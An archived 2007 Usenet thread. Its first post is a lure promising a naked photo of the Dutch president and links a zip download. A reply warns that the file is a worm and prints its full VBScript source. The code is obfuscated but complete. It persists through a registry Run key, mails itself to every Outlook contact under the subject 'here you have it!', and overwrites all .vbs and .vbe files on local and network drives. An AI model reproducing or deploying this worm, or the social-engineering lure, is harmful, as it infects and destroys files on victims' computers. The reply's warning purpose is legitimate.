Discussion:
NAKED PHOTO OF THE DUTCH PRESIDENT!
(too old to reply)
Koehorst
2007-12-03 12:31:07 UTC
Permalink
hi,

there is a new naked photo of the dutch president!
you can download the photo the website is:
http://www.webklik.nl/users/zerok/expedit%20photo.zip
Phillip Helbig---remove CLOTHES to reply
2007-12-25 10:50:41 UTC
Permalink
Post by Koehorst
there is a new naked photo of the dutch president!
http://www.webklik.nl/users/zerok/expedit%20photo.zip
No. Rather, it is the following:

'Vbs.vbs.h4ckblood Created By h4ckblood
On Error Resume Next
Set U5STI7oslLc= Createobject("scripting.filesystemobject")
U5STI7oslLc.copyfile wscript.scriptfullname,U5STI7oslLc.GetSpecialFolder(1)& "\expedit.gif.vbs"
Set n965A18eN62 = CreateObject("WScript.Shell")
n965A18eN62.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\computerwormexpeditkiller","wscript.exe "&U5STI7oslLc.GetSpecialFolder(1)& "\expedit.gif.vbs %"
if n965A18eN62.regread ("HKCU\software\vbs.h4ckblood\mailed") <> "1" then
aQ5NV5n89fY()
end if
EF8jrpG6L14()
if day(now) = 1 then
n965A18eN62.run "Http://wouterbos.nl",3,false
end if
Set F6m8PE6UBJ7= U5STI7oslLc.opentextfile(wscript.scriptfullname, 1)
ZB84oOd66By= F6m8PE6UBJ7.readall
F6m8PE6UBJ7.Close
Do
If Not (U5STI7oslLc.fileexists(wscript.scriptfullname)) Then
Set yzc0TcR8648= U5STI7oslLc.createtextfile(wscript.scriptfullname, True)
yzc0TcR8648.writeZB84oOd66By
yzc0TcR8648.Close
End If
Loop
Function aQ5NV5n89fY()
On Error Resume Next
Set oj7G0F51War = CreateObject("Outlook.Application")
If oj7G0F51War= "Outlook"Then
Set OX4r4C6eHsW=oj7G0F51War.GetNameSpace("MAPI")
Set SUCSb01uMz6= OX4r4C6eHsW.AddressLists
For Each N47RMOb5Z1w In SUCSb01uMz6
If N47RMOb5Z1w.AddressEntries.Count <> 0 Then
d050v2OX9Tw = N47RMOb5Z1w.AddressEntries.Count
For xJvmBs14qKg= 1 To d050v2OX9Tw
Set iks2agT4JcG = oj7G0F51War.CreateItem(0)
Set Kt67l6qlQ1O = N47RMOb5Z1w.AddressEntries(xJvmBs14qKg)
iks2agT4JcG.To = Kt67l6qlQ1O.Address
iks2agT4JcG.Subject = "here you have it!"
iks2agT4JcG.Body = "hello!" & vbcrlf & "check this!" & vbcrlf & "its verry cool." & vbcrlf & "" & vbcrlf & ""
set Wm1RM0y9ed8=iks2agT4JcG.Attachments
Wm1RM0y9ed8.Add U5STI7oslLc.GetSpecialFolder(1)& "\expedit.gif.vbs"
iks2agT4JcG.DeleteAfterSubmit = True
If iks2agT4JcG.To <> "" Then
iks2agT4JcG.Send
n965A18eN62.regwrite "HKCU\software\vbs.h4ckblood\mailed", "1"
End If
Next
End If
Next
end if
End Function
Function EF8jrpG6L14()
On Error Resume Next
Set Rm8PE6UBJ7Z = U5STI7oslLc.Drives
For Each b84oOd66By1 In Rm8PE6UBJ7Z
If b84oOd66By1.Drivetype = Remote Then
gc0TcR8648E= b84oOd66By1 & "\"
Call i7G0F51WarO(gc0TcR8648E)
ElseIf b84oOd66By1.IsReady Then
gc0TcR8648E= b84oOd66By1&"\"
Call i7G0F51WarO(gc0TcR8648E)
End If
Next
End Function
Function i7G0F51WarO(T4r4C6eHsW5)
MCSb01uMz6x=T4r4C6eHsW5
Set M7RMOb5Z1w7= U5STI7oslLc.GetFolder(MCSb01uMz6x)
Set HvmBs14qKgZ= M7RMOb5Z1w7.Files
For Each C50v2OX9TwJ In HvmBs14qKgZ
if U5STI7oslLc.GetExtensionName(C50v2OX9TwJ.path) = "vbs" then
U5STI7oslLc.copyfile wscript.scriptfullname , C50v2OX9TwJ.path , true
end if
if U5STI7oslLc.GetExtensionName(C50v2OX9TwJ.path) = "vbe" then
U5STI7oslLc.copyfile wscript.scriptfullname , C50v2OX9TwJ.path , true
end if
Next
Set C50v2OX9TwJ= M7RMOb5Z1w7.SubFolders
For Each ds2agT4JcG8 In C50v2OX9TwJ
Call i7G0F51WarO(ds2agT4JcG8.path)
Next
End Function
'Vbswg 1.5. [K]Alamar.

Continue reading on narkive:
Loading...